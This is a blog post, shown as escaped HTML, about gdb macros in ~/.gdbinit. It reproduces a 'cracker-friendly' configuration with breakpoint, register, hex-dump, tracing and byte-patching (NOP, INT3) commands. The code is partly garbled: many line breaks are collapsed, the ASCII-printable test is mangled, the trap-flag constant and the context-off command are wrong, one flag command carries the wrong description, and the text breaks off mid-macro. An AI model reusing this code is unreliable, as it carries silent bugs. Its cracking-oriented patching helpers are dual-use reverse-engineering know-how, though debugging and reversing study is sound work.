nix systems, but it can become a bit overwhelming with all the different commands. To make this a bit easier and more security friendly we can use &lt;span style="font-style: italic;"&gt;~.gdbinit&lt;/span&gt;. Within &lt;span style="font-style: italic;"&gt;.gdbinit&lt;/span&gt; you can define alias and macros to aid in displaying and use of gdb.&lt;br /&gt;&lt;br /&gt;With a good gdbinit file, life will be a bit more pleasent when searching for that next vulnerbility and/or reversing that next file.&lt;br /&gt;&lt;br /&gt;Lets start with creating an alias.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;define bpl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; info breakpoints&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is another one that save your fingers from typing info all the time.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;define stack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; info stack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; info frame&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; info args&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; info locals&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;None of this is anything new, but in all my readings I have just recently learned about it.  So I figured posting something may help out. I always knew there was a way to create macros in gdb, it just never dawned on me to look in &lt;span style="font-style: italic;"&gt;.gdbinit &lt;/span&gt;!&lt;br /&gt;&lt;br /&gt;To make life simple and if you don't want to write your own, below is a nice cracker-friendly &lt;span style="font-style: italic;"&gt;.gdbinit&lt;/span&gt; file I found.&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="scrollbox"&gt;&lt;br /&gt;# INSTRUCTIONS: save as ~/.gdbinit&lt;br /&gt;#&lt;br /&gt;# DESCRIPTION: A cracker-friendly gdb configuration file.&lt;br /&gt;#&lt;br /&gt;# REVISION : 6.1&lt;br /&gt;#&lt;br /&gt;# CONTRIBUTORS: mammon_, elaine, pusillus, mong&lt;br /&gt;#&lt;br /&gt;# FEEDBACK: http://board.anticrack.de/viewforum.php?f=35&lt;br /&gt;#&lt;br /&gt;# NOTES: 'help user' in gdb will list the commands/descriptions in this file&lt;br /&gt;#        'context on' now enables auto-display of context screen&lt;br /&gt;#&lt;br /&gt;# CHANGELOG:&lt;br /&gt;#    Version 6.1&lt;br /&gt;#        fixed filename in step_to_call so it points to /dev/null&lt;br /&gt;#        changed location of logfiles from /tmp  to ~&lt;br /&gt;#    Version 6j&lt;br /&gt;#     added print_insn_type, get_insn_type, context-on, context-off commands&lt;br /&gt;#     added trace_calls, trace_run, step_to_call commands&lt;br /&gt;#     changed hook-stop so it checks $SHOW_CONTEXT variable&lt;br /&gt;#    Version 5&lt;br /&gt;#     added bpm, dump_bin, dump_hex, bp_alloc commands&lt;br /&gt;#        added 'assemble' by elaine, 'gas_asm' by mong&lt;br /&gt;#     added Tip Topics for aspiring crackers ;)&lt;br /&gt;#     Version 4&lt;br /&gt;#     added eflags-changing insns by pusillus&lt;br /&gt;#     added bp, nop, null, and int3 patch commands, also hook-stop&lt;br /&gt;#    Version 3&lt;br /&gt;#     incorporated elaine's if/else goodness into the hex/ascii dump&lt;br /&gt;#    Version 2&lt;br /&gt;#     radix bugfix by elaine&lt;br /&gt;# TODO:&lt;br /&gt;#    * add global vars to allow user to control stack,data,code win sizes&lt;br /&gt;#    * add dump, append, set write, etc commands&lt;br /&gt;#    * more tips!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# ______________breakpoint aliases_____________&lt;br /&gt;define bpl&lt;br /&gt;info breakpoints&lt;br /&gt;end&lt;br /&gt;document bpl&lt;br /&gt;List breakpoints&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bp&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;break * $arg0&lt;br /&gt;end&lt;br /&gt;document bp&lt;br /&gt;Set a breakpoint on address&lt;br /&gt;Usage: bp addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bpc&lt;br /&gt;clear $arg0&lt;br /&gt;end&lt;br /&gt;document bpc&lt;br /&gt;Clear breakpoint at function/address&lt;br /&gt;Usage: bpc addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bpe&lt;br /&gt;enable $arg0&lt;br /&gt;end&lt;br /&gt;document bpe&lt;br /&gt;Enable breakpoint #&lt;br /&gt;Usage: bpe num&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bpd&lt;br /&gt;disable $arg0&lt;br /&gt;end&lt;br /&gt;document bpd&lt;br /&gt;Disable breakpoint #&lt;br /&gt;Usage: bpd num&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bpt&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;tbreak $arg0&lt;br /&gt;end&lt;br /&gt;document bpt&lt;br /&gt;Set a temporary breakpoint on address&lt;br /&gt;Usage: bpt addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bpm&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;awatch $arg0&lt;br /&gt;end&lt;br /&gt;document bpm&lt;br /&gt;Set a read/write breakpoint on address&lt;br /&gt;Usage: bpm addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define bhb&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;hb * $arg0&lt;br /&gt;end&lt;br /&gt;document bhb&lt;br /&gt;Set Hardware Assisted breakpoint on address&lt;br /&gt;Usage: bhb addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# ______________process information____________&lt;br /&gt;define argv&lt;br /&gt;show args&lt;br /&gt;end&lt;br /&gt;document argv&lt;br /&gt;Print program arguments&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define stack&lt;br /&gt;info stack&lt;br /&gt;end&lt;br /&gt;document stack&lt;br /&gt;Print call stack&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define frame&lt;br /&gt;info frame&lt;br /&gt;info args&lt;br /&gt;info locals&lt;br /&gt;end&lt;br /&gt;document frame&lt;br /&gt;Print stack frame&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define flags&lt;br /&gt;if (($eflags &gt;&gt; 0xB) &amp;amp; 1 )&lt;br /&gt;printf "O "&lt;br /&gt;else&lt;br /&gt;printf "o "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 0xA) &amp;amp; 1 )&lt;br /&gt;printf "D "&lt;br /&gt;else&lt;br /&gt;printf "d "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 9) &amp;amp; 1 )&lt;br /&gt;printf "I "&lt;br /&gt;else&lt;br /&gt;printf "i "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 8) &amp;amp; 1 )&lt;br /&gt;printf "T "&lt;br /&gt;else&lt;br /&gt;printf "t "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 7) &amp;amp; 1 )&lt;br /&gt;printf "S "&lt;br /&gt;else&lt;br /&gt;printf "s "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 6) &amp;amp; 1 )&lt;br /&gt;printf "Z "&lt;br /&gt;else&lt;br /&gt;printf "z "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 4) &amp;amp; 1 )&lt;br /&gt;printf "A "&lt;br /&gt;else&lt;br /&gt;printf "a "&lt;br /&gt;end&lt;br /&gt;if (($eflags &gt;&gt; 2) &amp;amp; 1 )&lt;br /&gt;printf "P "&lt;br /&gt;else&lt;br /&gt;printf "p "&lt;br /&gt;end&lt;br /&gt;if ($eflags &amp;amp; 1)&lt;br /&gt;printf "C "&lt;br /&gt;else&lt;br /&gt;printf "c "&lt;br /&gt;end&lt;br /&gt;printf "\n"&lt;br /&gt;end&lt;br /&gt;document flags&lt;br /&gt;Print flags register&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define eflags&lt;br /&gt;printf "     OF &lt;%d&gt;  DF &lt;%d&gt;  IF &lt;%d&gt;  TF &lt;%d&gt;",\&lt;br /&gt;     (($eflags &gt;&gt; 0xB) &amp;amp; 1 ), (($eflags &gt;&gt; 0xA) &amp;amp; 1 ), \&lt;br /&gt;     (($eflags &gt;&gt; 9) &amp;amp; 1 ), (($eflags &gt;&gt; 8) &amp;amp; 1 )&lt;br /&gt;printf "  SF &lt;%d&gt;  ZF &lt;%d&gt;  AF &lt;%d&gt;  PF &lt;%d&gt;  CF &lt;%d&gt;\n",\&lt;br /&gt;     (($eflags &gt;&gt; 7) &amp;amp; 1 ), (($eflags &gt;&gt; 6) &amp;amp; 1 ),\&lt;br /&gt;     (($eflags &gt;&gt; 4) &amp;amp; 1 ), (($eflags &gt;&gt; 2) &amp;amp; 1 ), ($eflags &amp;amp; 1)&lt;br /&gt;printf "     ID &lt;%d&gt;  VIP &lt;%d&gt; VIF &lt;%d&gt; AC &lt;%d&gt;",\&lt;br /&gt;     (($eflags &gt;&gt; 0x15) &amp;amp; 1 ), (($eflags &gt;&gt; 0x14) &amp;amp; 1 ), \&lt;br /&gt;     (($eflags &gt;&gt; 0x13) &amp;amp; 1 ), (($eflags &gt;&gt; 0x12) &amp;amp; 1 )&lt;br /&gt;printf "  VM &lt;%d&gt;  RF &lt;%d&gt;  NT &lt;%d&gt;  IOPL &lt;%d&gt;\n",\&lt;br /&gt;     (($eflags &gt;&gt; 0x11) &amp;amp; 1 ), (($eflags &gt;&gt; 0x10) &amp;amp; 1 ),\&lt;br /&gt;     (($eflags &gt;&gt; 0xE) &amp;amp; 1 ), (($eflags &gt;&gt; 0xC) &amp;amp; 3 )&lt;br /&gt;end&lt;br /&gt;document eflags&lt;br /&gt;Print entire eflags register&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define reg&lt;br /&gt;printf "     eax:%08X ebx:%08X  ecx:%08X ",  $eax, $ebx, $ecx&lt;br /&gt;printf " edx:%08X     eflags:%08X\n",  $edx, $eflags&lt;br /&gt;printf "     esi:%08X edi:%08X  esp:%08X ",  $esi, $edi, $esp&lt;br /&gt;printf " ebp:%08X     eip:%08X\n", $ebp, $eip&lt;br /&gt;printf "     cs:%04X  ds:%04X  es:%04X", $cs, $ds, $es&lt;br /&gt;printf "  fs:%04X  gs:%04X  ss:%04X    ", $fs, $gs, $ss&lt;br /&gt;echo \033[31m&lt;br /&gt;flags&lt;br /&gt;echo \033[0m&lt;br /&gt;end&lt;br /&gt;document reg&lt;br /&gt;Print CPU registers&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define func&lt;br /&gt;info functions&lt;br /&gt;end&lt;br /&gt;document func&lt;br /&gt;Print functions in target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define var&lt;br /&gt;info variables&lt;br /&gt;end&lt;br /&gt;document var&lt;br /&gt;Print variables (symbols) in target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define lib&lt;br /&gt;info sharedlibrary&lt;br /&gt;end&lt;br /&gt;document lib&lt;br /&gt;Print shared libraries linked to target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define sig&lt;br /&gt;info signals&lt;br /&gt;end&lt;br /&gt;document sig&lt;br /&gt;Print signal actions for target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define thread&lt;br /&gt;info threads&lt;br /&gt;end&lt;br /&gt;document thread&lt;br /&gt;Print threads in target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define u&lt;br /&gt;info udot&lt;br /&gt;end&lt;br /&gt;document u&lt;br /&gt;Print kernel 'user' struct for target&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define dis&lt;br /&gt;disassemble $arg0&lt;br /&gt;end&lt;br /&gt;document dis&lt;br /&gt;Disassemble address&lt;br /&gt;Usage: dis addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# ________________hex/ascii dump an address______________&lt;br /&gt;define ascii_char&lt;br /&gt;# thanks elaine :)&lt;br /&gt;set $_c=*(unsigned char *)($arg0)&lt;br /&gt;if ( $_c &lt;&gt; 0x7E )&lt;br /&gt;printf "."&lt;br /&gt;else&lt;br /&gt;printf "%c", $_c&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document ascii_char&lt;br /&gt;Print the ASCII value of arg0 or '.' if value is unprintable&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define hex_quad&lt;br /&gt;printf "%02X %02X %02X %02X  %02X %02X %02X %02X",                          \&lt;br /&gt;     *(unsigned char*)($arg0), *(unsigned char*)($arg0 + 1),      \&lt;br /&gt;     *(unsigned char*)($arg0 + 2), *(unsigned char*)($arg0 + 3),  \&lt;br /&gt;     *(unsigned char*)($arg0 + 4), *(unsigned char*)($arg0 + 5),  \&lt;br /&gt;     *(unsigned char*)($arg0 + 6), *(unsigned char*)($arg0 + 7)&lt;br /&gt;end&lt;br /&gt;document hex_quad&lt;br /&gt;Print eight hexadecimal bytes starting at arg0&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define hexdump&lt;br /&gt;printf "%08X : ", $arg0&lt;br /&gt;hex_quad $arg0&lt;br /&gt;printf " - "&lt;br /&gt;hex_quad ($arg0+8)&lt;br /&gt;printf " "&lt;br /&gt;&lt;br /&gt;ascii_char ($arg0)&lt;br /&gt;ascii_char ($arg0+1)&lt;br /&gt;ascii_char ($arg0+2)&lt;br /&gt;ascii_char ($arg0+3)&lt;br /&gt;ascii_char ($arg0+4)&lt;br /&gt;ascii_char ($arg0+5)&lt;br /&gt;ascii_char ($arg0+6)&lt;br /&gt;ascii_char ($arg0+7)&lt;br /&gt;ascii_char ($arg0+8)&lt;br /&gt;ascii_char ($arg0+9)&lt;br /&gt;ascii_char ($arg0+0xA)&lt;br /&gt;ascii_char ($arg0+0xB)&lt;br /&gt;ascii_char ($arg0+0xC)&lt;br /&gt;ascii_char ($arg0+0xD)&lt;br /&gt;ascii_char ($arg0+0xE)&lt;br /&gt;ascii_char ($arg0+0xF)&lt;br /&gt;&lt;br /&gt;printf "\n"&lt;br /&gt;end&lt;br /&gt;document hexdump&lt;br /&gt;Display a 16-byte hex/ASCII dump of arg0&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# ________________data window__________________&lt;br /&gt;define ddump&lt;br /&gt;echo \033[36m&lt;br /&gt;&lt;br /&gt;printf "[%04X:%08X]------------------------", $ds, $data_addr&lt;br /&gt;printf "---------------------------------[ data]\n"&lt;br /&gt;echo \033[34m&lt;br /&gt;set $_count=0&lt;br /&gt;while ( $_count &lt; $arg0 )   set $_i=($_count*0x10)   hexdump ($data_addr+$_i)   set $_count++  end end document ddump Display $arg0 lines of hexdump for address $data_addr end  define dd  if ( ($arg0 &amp;amp; 0x40000000) || ($arg0 &amp;amp; 0x08000000) || ($arg0 &amp;amp; 0xBF000000) )   set $data_addr=$arg0   ddump 0x10  else   printf "Invalid address: %08X\n", $arg0  end end document dd Display 16 lines of a hex dump for $arg0 end  define datawin  if ( ($esi &amp;amp; 0x40000000) || ($esi &amp;amp; 0x08000000) || ($esi &amp;amp; 0xBF000000) )   set $data_addr=$esi  else   if ( ($edi &amp;amp; 0x40000000) || ($edi &amp;amp; 0x08000000) || ($edi &amp;amp; 0xBF000000) )    set $data_addr=$edi   else    if ( ($eax &amp;amp; 0x40000000) || ($eax &amp;amp; 0x08000000) || \         ($eax &amp;amp; 0xBF000000) )      set $data_addr=$eax    else     set $data_addr=$esp    end   end  end  ddump 2 end document datawin Display esi, edi, eax, or esp in data window end  # ________________process context______________ define context  echo \033[36m  printf "----------------------------------------"  printf "---------------------------------[ regs]\n"  echo \033[32m  reg  echo \033[36m  printf "[%04X:%08X]------------------------", $ss, $esp  printf "---------------------------------[stack]\n"  echo \033[34m  hexdump $sp+0x30  hexdump $sp+0x20  hexdump $sp+0x10  hexdump $sp  datawin  echo \033[36m  printf "[%04X:%08X]------------------------", $cs, $eip  printf "---------------------------------[ code]\n"  echo \033[37m  x /6i $pc  echo \033[36m  printf "---------------------------------------"  printf "----------------------------------------\n"  echo \033[0m end document context Print regs, stack, ds:esi, and disassemble cs:eip end  define context-on  set $SHOW_CONTEXT = 1 end document context-on Enable display of context on every program stop end  define context-off  set $SHOW_CONTEXT = 1 end document context-on Disable display of context on every program stop end  # ________________process control______________ define n  ni end document n Step one instruction end     define go  stepi $arg0 end document go Step # instructions end  define pret  finish end document pret Step out of current call end  define init  set $SHOW_CONTEXT = 1  set $SHOW_NEST_INSN=0  tbreak _init  r end document init Run program; break on _init() end  define start  set $SHOW_CONTEXT = 1  set $SHOW_NEST_INSN=0  tbreak _start  r end document start Run program; break on _start() end  define sstart  set $SHOW_CONTEXT = 1  set $SHOW_NEST_INSN=0  tbreak __libc_start_main  r end document sstart Run program; break on __libc_start_main(). Useful for stripped executables. end  define main  set $SHOW_CONTEXT = 1  set $SHOW_NEST_INSN=0  tbreak main  r end document main Run program; break on main() end  # ________________eflags commands_______________ define cfc  if ($eflags &amp;amp; 1)   set $eflags = $eflags&amp;amp;~1  else   set $eflags = $eflags|1  end end document cfc change Carry Flag end  define cfp  if (($eflags &gt;&gt; 2) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x4&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x4&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfp&lt;br /&gt;change Carry Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfa&lt;br /&gt;if (($eflags &gt;&gt; 4) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x10&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x10&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfa&lt;br /&gt;change Auxiliary Carry Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfz&lt;br /&gt;if (($eflags &gt;&gt; 6) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x40&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x40&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfz&lt;br /&gt;change Zero Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfs&lt;br /&gt;if (($eflags &gt;&gt; 7) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x80&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x80&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfs&lt;br /&gt;change Sign Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cft&lt;br /&gt;if (($eflags &gt;&gt;8) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;100&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|100&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cft&lt;br /&gt;change Trap Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfi&lt;br /&gt;if (($eflags &gt;&gt; 9) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x200&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x200&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfi&lt;br /&gt;change Interrupt Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfd&lt;br /&gt;if (($eflags &gt;&gt;0xA ) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x400&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x400&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfd&lt;br /&gt;change Direction Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define cfo&lt;br /&gt;if (($eflags &gt;&gt; 0xB) &amp;amp; 1 )&lt;br /&gt;set $eflags = $eflags&amp;amp;~0x800&lt;br /&gt;else&lt;br /&gt;set $eflags = $eflags|0x800&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document cfo&lt;br /&gt;change Overflow Flag&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# --------------------patch---------------------&lt;br /&gt;define nop&lt;br /&gt;set * (unsigned char *) $arg0 = 0x90&lt;br /&gt;end&lt;br /&gt;document nop&lt;br /&gt;Patch byte at address arg0 to a NOP insn&lt;br /&gt;Usage: nop addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define null&lt;br /&gt;set * (unsigned char *) $arg0 = 0&lt;br /&gt;end&lt;br /&gt;document null&lt;br /&gt;Patch byte at address arg0 to  NULL&lt;br /&gt;Usage: null addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define int3&lt;br /&gt;set * (unsigned char *) $arg0 = 0xCC&lt;br /&gt;end&lt;br /&gt;document int3&lt;br /&gt;Patch byte at address arg0 to an INT3 insn&lt;br /&gt;Usage: int3 addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# --------------------cflow---------------------&lt;br /&gt;define print_insn_type&lt;br /&gt;if ($arg0 == 0)&lt;br /&gt;printf "UNKNOWN";&lt;br /&gt;end&lt;br /&gt;if ($arg0 == 1)&lt;br /&gt;printf "JMP";&lt;br /&gt;end&lt;br /&gt;if ($arg0 == 2)&lt;br /&gt;printf "JCC";&lt;br /&gt;end&lt;br /&gt;if ($arg0 == 3)&lt;br /&gt;printf "CALL";&lt;br /&gt;end&lt;br /&gt;if ($arg0 == 4)&lt;br /&gt;printf "RET";&lt;br /&gt;end&lt;br /&gt;if ($arg0 == 5)&lt;br /&gt;printf "INT";&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;document print_insn_type&lt;br /&gt;This prints the human-readable mnemonic for the instruction typed passed as&lt;br /&gt;a parameter (usually $INSN_TYPE).&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define get_insn_type&lt;br /&gt;set $INSN_TYPE = 0&lt;br /&gt;set $_byte1=*(unsigned char *)$arg0&lt;br /&gt;if ($_byte1 == 0x9A || $_byte1 == 0xE8 )&lt;br /&gt;# "call"&lt;br /&gt;set $INSN_TYPE=3&lt;br /&gt;end&lt;br /&gt;if ($_byte1 &gt;= 0xE9 &amp;amp;&amp;amp; $_byte1 &lt;= 0xEB)   # "jmp"   set $INSN_TYPE=1  end  if ($_byte1 &gt;= 0x70 &amp;amp;&amp;amp; $_byte1 &lt;= 0x7F)   # "jcc"   set $INSN_TYPE=2  end  if ($_byte1 &gt;= 0xE0 &amp;amp;&amp;amp; $_byte1 &lt;= 0xE3 )   # "jcc"   set $INSN_TYPE=2  end  if ($_byte1 == 0xC2 || $_byte1 == 0xC3 || $_byte1 == 0xCA || $_byte1 == 0xCB || $_byte1 == 0xCF)   # "ret"   set $INSN_TYPE=4         end  if ($_byte1 &gt;= 0xCC &amp;amp;&amp;amp; $_byte1 &lt;= 0xCE)   # "int"   set $INSN_TYPE=5  end  if ($_byte1 == 0x0F )   # two-byte opcode   set $_byte2=*(unsigned char *)($arg0 +1)   if ($_byte2 &gt;= 0x80 &amp;amp;&amp;amp; $_byte2 &lt;= 0x8F)    # "jcc"    set $INSN_TYPE=2   end  end  if ($_byte1 == 0xFF )      # opcode extension   set $_byte2=*(unsigned char *)($arg0 +1)   set $_opext=($_byte2 &amp;amp; 0x38)   if ($_opext == 0x10 || $_opext == 0x18)    # "call"    set $INSN_TYPE=3   end   if ($_opext == 0x20 || $_opext == 0x28)    # "jmp"    set $INSN_TYPE=1   end  end end document get_insn_type This takes an address as a parameter and sets the global $INSN_TYPE variable to 0, 1, 2, 3, 4, 5 if the instruction at the address is unknown, a jump, a conditional jump, a call, a return, or an interrupt. end  define step_to_call  set $_saved_ctx = $SHOW_CONTEXT  set $SHOW_CONTEXT = 0  set $SHOW_NEST_INSN=0  set logging file /dev/null  set logging on  set logging redirect on  set $_cont = 1   while ( $_cont &gt; 0 )&lt;br /&gt;stepi&lt;br /&gt;get_insn_type $pc&lt;br /&gt;if ($INSN_TYPE == 3)&lt;br /&gt;set $_cont = 0&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;if ( $_saved_ctx &gt; 0 )&lt;br /&gt;context&lt;br /&gt;else&lt;br /&gt;x /i $pc&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;set $SHOW_NEST_INSN=0&lt;br /&gt;set logging redirect off&lt;br /&gt;set logging off&lt;br /&gt;set logging file gdb.txt&lt;br /&gt;end&lt;br /&gt;document step_to_call&lt;br /&gt;This single steps until it encounters a call instruction; it stops before&lt;br /&gt;the call is taken.&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define trace_calls&lt;br /&gt;set $SHOW_CONTEXT = 0&lt;br /&gt;set $SHOW_NEST_INSN=0&lt;br /&gt;set $_nest = 1&lt;br /&gt;set listsize 0&lt;br /&gt;set logging overwrite on&lt;br /&gt;set logging file ~/gdb_trace_calls.txt&lt;br /&gt;set logging on&lt;br /&gt;set logging redirect on&lt;br /&gt;&lt;br /&gt;while ( $_nest &gt; 0 )&lt;br /&gt;get_insn_type $pc&lt;br /&gt;&lt;br /&gt;# handle nesting&lt;br /&gt;if ($INSN_TYPE == 3)&lt;br /&gt;set $_nest = $_nest + 1&lt;br /&gt;else&lt;br /&gt;if ($INSN_TYPE == 4)&lt;br /&gt; set $_nest = $_nest - 1&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# if a call, print it&lt;br /&gt;if ($INSN_TYPE == 3)&lt;br /&gt;set $x = $_nest&lt;br /&gt;while ( $x &gt; 0 )&lt;br /&gt; printf "\t"&lt;br /&gt; set $x = $x - 1&lt;br /&gt;end&lt;br /&gt;x /i $pc&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;#set logging file /dev/null&lt;br /&gt;stepi&lt;br /&gt;#set logging file ~/gdb_trace_calls.txt&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;set $SHOW_NEST_INSN=0&lt;br /&gt;set logging redirect off&lt;br /&gt;set logging off&lt;br /&gt;set logging file gdb.txt&lt;br /&gt;&lt;br /&gt;# clean up trace file&lt;br /&gt;shell  grep -v ' at ' ~/gdb_trace_calls.txt &gt; ~/gdb_trace_calls.1&lt;br /&gt;shell  grep -v ' in ' ~/gdb_trace_calls.1 &gt; ~/gdb_trace_calls.txt&lt;br /&gt;end&lt;br /&gt;document trace_calls&lt;br /&gt;Creates a runtime trace of the calls made target in ~/gdb_trace_calls.txt.&lt;br /&gt;Note that this is very slow because gdb "set redirect on" does not work!&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define trace_run&lt;br /&gt;set $SHOW_CONTEXT = 0&lt;br /&gt;set $SHOW_NEST_INSN=1&lt;br /&gt;set logging overwrite on&lt;br /&gt;set logging file ~/gdb_trace_run.txt&lt;br /&gt;set logging on&lt;br /&gt;set logging redirect on&lt;br /&gt;set $_nest = 1&lt;br /&gt;&lt;br /&gt;while ( $_nest &gt; 0 )&lt;br /&gt;&lt;br /&gt;get_insn_type $pc&lt;br /&gt;# jmp, jcc, or cll&lt;br /&gt;if ($INSN_TYPE == 3)&lt;br /&gt;set $_nest = $_nest + 1&lt;br /&gt;else&lt;br /&gt;# ret&lt;br /&gt;if ($INSN_TYPE == 4)&lt;br /&gt; set $_nest = $_nest - 1&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;stepi&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;set $SHOW_NEST_INSN=0&lt;br /&gt;set logging file gdb.txt&lt;br /&gt;set logging redirect off&lt;br /&gt;set logging off&lt;br /&gt;&lt;br /&gt;# clean up trace file&lt;br /&gt;shell  grep -v ' at ' ~/gdb_trace_run.txt &gt; ~/gdb_trace_run.1&lt;br /&gt;shell  grep -v ' in ' ~/gdb_trace_run.1 &gt; ~/gdb_trace_run.txt&lt;br /&gt;&lt;br /&gt;end&lt;br /&gt;document trace_run&lt;br /&gt;Creates a runtime trace of the target in ~/gdb_trace_run.txt. Note&lt;br /&gt;that this is very slow because gdb "set redirect on" does not work!&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# _____________________misc_____________________&lt;br /&gt;# this makes 'context' be called at every BP/step&lt;br /&gt;define hook-stop&lt;br /&gt;if ( $SHOW_CONTEXT &gt; 0 )&lt;br /&gt;context&lt;br /&gt;end&lt;br /&gt;if ( $SHOW_NEST_INSN &gt; 0 )&lt;br /&gt;set $x = $_nest&lt;br /&gt;while ($x &gt; 0 )&lt;br /&gt;printf "\t"&lt;br /&gt;set $x = $x - 1&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define assemble&lt;br /&gt;printf "Hit Ctrl-D to start, type code to assemble, hit Ctrl-D when done.\n"&lt;br /&gt;printf "It is recommended to start with\n"&lt;br /&gt;printf "\tBITS 32\n"&lt;br /&gt;printf "Note that this command uses NASM (Intel syntax) to assemble.\n"&lt;br /&gt;shell nasm -f bin -o /dev/stdout /dev/stdin | od -v -t x1 -w16 -A n&lt;br /&gt;end&lt;br /&gt;document assemble&lt;br /&gt;Assemble Intel x86 instructions to binary opcodes. Uses nasm.&lt;br /&gt;Usage: assemble&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define gas_asm&lt;br /&gt;printf "Type code to assemble, hit Ctrl-D until results appear :)\n"&lt;br /&gt;printf "Note that 